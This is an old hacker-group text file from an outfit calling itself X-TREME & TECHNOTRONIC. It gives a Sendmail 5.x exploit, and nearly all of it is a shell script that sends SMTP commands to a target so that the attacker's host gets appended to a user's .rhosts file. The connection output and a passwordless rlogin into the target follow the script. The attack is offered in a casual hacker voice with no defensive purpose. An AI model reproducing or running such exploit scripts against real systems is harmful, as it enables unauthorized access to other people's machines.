..:-={{Collaborative Security Information Center}}=-:.. X-TREME & TECHNOTRONIC Security Collaboration Project http://www.technotronic.com -=©=- http://www.x-treme.abyss.com Sendmail: 5.x You can have your host appened to someones .rhosts file,by issuing the request twice in this example it's myhost.com: % cat sendmail_haq telnet target.com 25 << EOSM rcpt to: /home/students/twit/.rhosts mail from: twit data hello :) dewd . rcpt to: /home/students/twit/.rhosts mail from: twit data myhost.com . quit EOSM evil % /bin/sh sendmail_haq Trying 123.456.789.0 Connected to target.com Escape character is '^]'. Connection closed by foreign host. % rlogin target.com -l twit %